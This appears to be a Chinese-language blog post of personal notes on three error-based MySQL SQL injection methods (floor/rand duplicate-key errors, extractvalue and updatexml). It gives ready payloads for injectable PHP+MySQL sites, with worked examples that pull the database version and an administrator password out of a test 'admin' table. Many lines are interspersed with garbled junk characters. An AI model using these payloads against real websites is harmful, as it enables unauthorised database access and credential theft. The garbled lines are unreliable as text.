关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
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mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
. C! [6 _8 I( t$ K2 G' G| admin          |
| article        |
+----------------+
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mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
+ d* U: H% H3 l; C. F. b| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
# l) ~% M$ P* b! ?( @/ {' Z! m| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
5 n  y8 T9 w( m5 X; S| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+



7 c- i. i0 Z4 w8 U  Fmysql> describe article;
+---------+------------------+------+-----+---------+----------------+
% N, t0 [& [% Q( b+ b3 Q5 i| Field   | Type             | Null | Key | Default | Extra          |
8 h6 N5 k( S# x. w8 _+---------+------------------+------+-----+---------+----------------+
1 m1 f3 ~5 a. O0 u| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
( a  I& b+ G8 r' {& T* q7 L& K0 e+---------+------------------+------+-----+---------+----------------+
5 G/ {8 M4 l; j' l" j" V) z8 c2 [1、通过floor报错
4 z  S, \6 G8 T: E可以通过如下一些利用代码

* h1 h; t; p* {' O
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
+ [% f) K& j3 ]' @1 l. C
  O& j0 h* a3 G/ d& S
and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
7 P& c0 K# m4 H7 {8 \) n  Efloor(rand(0)*2)));
/ Q- j# [, p9 {举例如下：
首先进行正常查询：
/ h  ^/ W- j0 N- l  g8 C
mysql> select * from article where id = 1;
0 c, b/ e; R& S+----+-------+---------+
+ E6 ^; a8 v" c+ M$ V8 \+ p: M| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。
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mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
3 [/ H& D4 k9 Y9 v, hMethod1:
4 M+ r4 d0 D% f- N" g5 }

mysql> select * from article where id = 1 and (select 1 from
4 y( H* s* l  i( O& `* m  A/ D: V(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
- }# u& p" G; j* d1 }! B1 s* t  u, mfrom information_schema.tables group by x)a);
: T  q2 l0 s2 q( m$ U, K" l% uERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
$ ?" s: Z5 C& e0 @( ^) iMethod2:


3 q' U) k# ~/ M0 C1 G; k+ H9 omysql> select * from article where id = 1 and (select count(*)
' w2 i2 ~' F. w9 n, B' Y4 xfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
8 \% @! r1 b; e' }floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
. _1 H6 t5 z8 H' _1 `# M& u2、ExtractValue
+ N' ]- @; t5 |, G测试语句如下

* v% B$ g  G) t6 ]
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
" w! ^7 ~6 J7 W9 y3 N! M实际测试过程


mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句
' [  V' g# [3 Y/ z  b% o9 q
; {/ E' X% w% i* _9 [
4 F! j/ b; i; O0 P% R- a9 h0 B. Pand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
' c: D+ x9 k/ U( U实际测试过程
9 g8 _5 T% G: \) }
# `' F4 T% d9 P5 v! s) f
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
4 X  i* T/ a& D# c$ x* ^(select pass from admin limit 1),0x5e24),1));
" c" ]1 |6 l- U: u8 W4 y  }; DERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
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